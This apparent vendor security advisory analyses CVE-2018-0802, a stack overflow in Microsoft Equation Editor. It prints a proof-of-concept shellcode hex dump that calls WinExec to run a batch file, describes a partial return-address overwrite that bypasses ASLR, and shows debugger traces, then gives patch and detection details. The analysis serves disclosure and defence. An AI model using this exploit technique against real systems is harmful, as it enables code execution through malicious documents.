A stack overflow vulnerability in “Microsoft Equation Editor” was disclosed to Microsoft. This vulnerability has been assigned CVE-2018-0802. A similar vulnerability was disclosed in the same component in August 2017 – CVE-2017-11882 which overflowed the stack and was able to execute commands by calling the WinExec()
within the EQNEDT32.EXE code base using a static address. CVE-2018-0802 follows a similar trend.
Vulnerability
The target function for this vulnerability is EQNEDT32.EXE+0x21E39
. This function receives the LOGFONT structure from function EQNEDT32.EXE+0x21774
, this structure is user controlled and unfortunately the caller does not validate the structure before passing it on as a function argument. The issue occurs in the code segment shown below.
The user supplied LOGFONT structure is passed to function EQNEDT32.EXE+0x21E39
. As per Microsoft documentation the format of the lfFaceName is member of the LOGFONT structure and it is 32 byte null terminated string that represents the name of the font. Unfortunately this size limit is not enforced here, When execution reaches the highlighted instruction EDI contains the stack address where return address for function EQNEDT32.EXE+0x21774
is stored, it will overwrite this address. An attacker can leverage this to control the execution flow if he manages to bypass ASLR.
Exploitation
An attacker can craft a custom document and forward it to the user via spam mail or other forms of social engineering. Upon opening the document MS Word will invoke Microsoft Equation Editor(EQNEDT32.EXE) to render the equation object embedded within the file. The function parsing the MTEF header will overflow the stack with the current address of WinExec()
and its required arguments.To patch CVE-2017-11882 Microsoft enabled ASLR for EQNEDT32.EXE so that attackers can no longer call WinExec()
using a hard coded address. This means that EQNEDT32.EXE will have a different base address every time it loads.
Bypassing ASLR:
Checkpoint disclosed that ASLR can be bypassed in a 32 bit Windows OS. The random base address has an entropy of 8-bit and therefore it can have 2^8 =256 combinations. So we can create a custom file that contains 256 equation OLE object for every possible combination of the base address. The OLE with the appropriate base address can execute a ROP chain leading to WinExec()
. They also noted that EQNEDT32.EXE crashes silently this works in the favour of the attacker.
Another approach to bypass is exploit the ASLR design limitations, on a 32-bit Windows OS randomizes only the upper 2 bytes of the base address the lower address remains the same. When we over write the buffer we also destroy the stack entry for the calling function, if this is not handled the application will crash. So to normalize the execution flow we will need to return to the calling function. We will need to find a return instruction ret
at address ----00XX
. We need the 00
so that the we can control the length of the string that we will be copied to the target buffer.
Upon checking the ASM code for EQNEDT32 we find a return instruction at EqnEdt32+0x20025
. We will over write the last to bytes of the stored return address to 0025. Below is the vulnerable code that will help us overwrite the return address.
To achieve this we use a PoC which is a .rtf file containing a custom equation object where the LOGFONT structure contains a large string of 94 bytes ending with 25 00
. This string contains the shellcode to execute WinExec()
we will analyse this further in the following sections.
0029ef44 33 c0 50 8d 44 24 52 50-eb 7f 63 6d 64 2e 65 78 3.P.D$RP..cmd.ex 0029ef54 65 20 2f 63 20 25 74 65-6d 70 25 5c 63 61 6c 63 e /c %temp%\calc 0029ef64 2e 62 61 74 20 20 20 20-20 20 20 20 20 20 20 20 .bat 0029ef74 20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20 0029ef84 20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20 0029ef94 20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20 0029efa4 20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20 0029efb4 20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20 0029efc4 20 20 20 20 20 20 20 20-26 90 8b 44 24 2c 66 2d &..D$,f- 0029efd4 51 a8 ff e0 25 00 Q...%.
In the image below we can see the call stack leading to the our target function EqnEdt32+21E39
. Here 011014e2
is the return address for function EqnEdt32+21774
the aim is to change 011014e2 -> 01100025
.
# ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 00 0029f570 011017c8 EqnEdt32!FMDFontListEnum+0xba8 << SUB_EqnEdt32+21E39 01 0029f668 011014e2 EqnEdt32!FMDFontListEnum+0x534 << SUB_EqnEdt32+21774 02 0029f694 010f0e67 EqnEdt32!FMDFontListEnum+0x24e << SUB_EqnEdt32+214c6 03 0029f6d4 010f2a92 EqnEdt32!EqnFrameWinProc+0x2387 04 0029f894 010f2929 EqnEdt32!EqnFrameWinProc+0x3fb2 05 0029fa48 010ee50e EqnEdt32!EqnFrameWinProc+0x3e49 06 0029fa88 0112ce8b EqnEdt32!MtInsituWndProc+0x57a0
0:000> u 01100025 EqnEdt32!ZoomDlgProc+0x1a5e: 01100025 c3 ret 01100026 55 push ebp 01100027 8bec mov ebp,esp 01100029 53 push ebx 0110002a 56 push esi
The ret
instruction will move the control flow to the stack where we can execute a ROP chain leading to WinExec()
. In the debug log below we can see the stack frame for function EqnEdt32+21774
getting destroyed after overflowing the local variable.
---Call stack before Overflow--- # ChildEBP RetAddr 00 0029edfc 011017c8 EqnEdt32!FMDFontListEnum+0xbd1 01 0029eef4 011014e2 EqnEdt32!FMDFontListEnum+0x534 02 0029ef20 0111b463 EqnEdt32!FMDFontListEnum+0x24e 03 0029f048 0111a8a0 EqnEdt32!MFEnumFunc+0xcc66 04 0029f060 0111a72f EqnEdt32!MFEnumFunc+0xc0a3 05 0029f078 011175da EqnEdt32!MFEnumFunc+0xbf32 06 0029f0dc 0110f926 EqnEdt32!MFEnumFunc+0x8ddd ---Call stack after Overflow--- # ChildEBP RetAddr 00 0029edfc 011017c8 EqnEdt32!FMDFontListEnum+0xbd3 01 0029ef20 0111b463 EqnEdt32!FMDFontListEnum+0x534 02 0029efdc 77799dd1 EqnEdt32!MFEnumFunc+0xcc66 03 0029effc 77799edb kernel32!GlobalUnlock+0x81 04 0029f03c 010f775e kernel32!GlobalLock+0xd6 05 0029f048 0111a8a0 EqnEdt32!EqnFrameWinProc+0x8c7e 06 0029f060 0111a72f EqnEdt32!MFEnumFunc+0xc0a3
When we check the stack frame manually at 0029eef4+0x4
we can see overwritten return address. Also important to note that the address of the exploit string is also reachable through the stack 0029ef44
.
0029eef8 01100025 0029eefc 0029ef44 0029ef00 00290001 0029ef04 00000001 0029ef08 0029ef1c
We continue executing till we reach the leave instruction, this is important because it releases the current function’s stack frame and restores the callers (EqnEdt32+21774
) stack. Notice the change in return address.
eax=0029ee48 ebx=00000000 ecx=77a86570 edx=00482e44 esi=0029f374 edi=0029f174 eip=01101f17 esp=0029ee00 ebp=0029eef4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 EqnEdt32!FMDFontListEnum+0xc83: 01101f17 c3 ret # ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 00 0029eef4 01100025 EqnEdt32!FMDFontListEnum+0xc83 << return address used to be 011014e2 01 0029ef20 0111b463 EqnEdt32!ZoomDlgProc+0x1a5e 02 0029f048 0111a8a0 EqnEdt32!MFEnumFunc+0xcc66 03 0029f060 0111a72f EqnEdt32!MFEnumFunc+0xc0a3 04 0029f078 011175da EqnEdt32!MFEnumFunc+0xbf32</pre
After executing ret at 01100025
EIP will point to 0029ef44
and continue executing from here.
eax=00000001 ebx=00000000 ecx=0029ede4 edx=77a770b4 esi=0029f374 edi=0029f174 eip=0029ef44 esp=0029ef00 ebp=e0ffa851 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 0029ef44 33c0 xor eax,eax # ChildEBP RetAddr WARNING: Frame IP not in any known module. Following frames may be wrong. 00 0029ef20 0111b463 0x29ef44 01 0029f048 0111a8a0 EqnEdt32!MFEnumFunc+0xcc66 02 0029f060 0111a72f EqnEdt32!MFEnumFunc+0xc0a3 03 0029f078 011175da EqnEdt32!MFEnumFunc+0xbf32 04 0029f0dc 0110f926 EqnEdt32!MFEnumFunc+0x8ddd
We are able to execute instructions from the stack because DEP is disabled for EQNEDT32.EXE.
It will execute the shellcode described below.
0029ef44 33c0 xor eax,eax 0029ef46 50 push eax // uCmdShow arguement for WinExec 0029ef47 8d442452 lea eax,[esp+52h] // points to "cmd.exe /c %temp %\calc.bat" 0029ef4b 50 push eax // lpCmdLine arguement for WinExec 0029ef4c eb7f jmp 0029efcd . . . 0029efcd 90 nop 0029efce 8b44242c mov eax,dword ptr [esp+2Ch] 0029efd2 662d51a8 sub ax,0A851h // calculating address for call WinExec() 0029efd6 ffe0 jmp eax // Jumping to call WinExec() EAX = EqnEdt32+30c12
Final call to WinExec()
01110c12 ff151c681401 call dword ptr [EqnEdt32!FltToolbarWinProc+0x1c6b5 (0114681c)] ds:0023:0114681c={kernel32!WinExec (777de5fd)} '>>>>>>STACK VALUES<<<<<<' 0029eef8 0029ef4e lpCmdLine - "cmd.exe /c %temp%\calc.bat ...." 0029eefc 00000000 uCmdShow - Hides the console window and activates another window. 0029ef00 00290001 0029ef04 00000001
Executing calc.exe via cmd.exe
Fix
Microsoft has removed the original Equation Editor functionality from the MS Office suite and opted to have as a built-in functionality rather than separate executable, the equation editor is built into Office version 2007 or later. So the threat/exploit protection mechanisms for MS Office are extended for the Equation OLE objects as well. A down side to this fix is that users will not be able to edit equations that were inserted using Equation Editor 3.0.
Mitigation
Microsoft has addressed this vulnerability in patches released in January 2018. Please scan your network using QID 110310 to detect vulnerable targets.
Please continue to follow Qualys Threat Protection for more information on this vulnerability.
References
CVE-2018-0802 | Microsoft Office Memory Corruption Vulnerability
Many Formulas, One Calc – Exploiting a New Office Equation Vulnerability
CVE-2018-0802 – Qihoo 360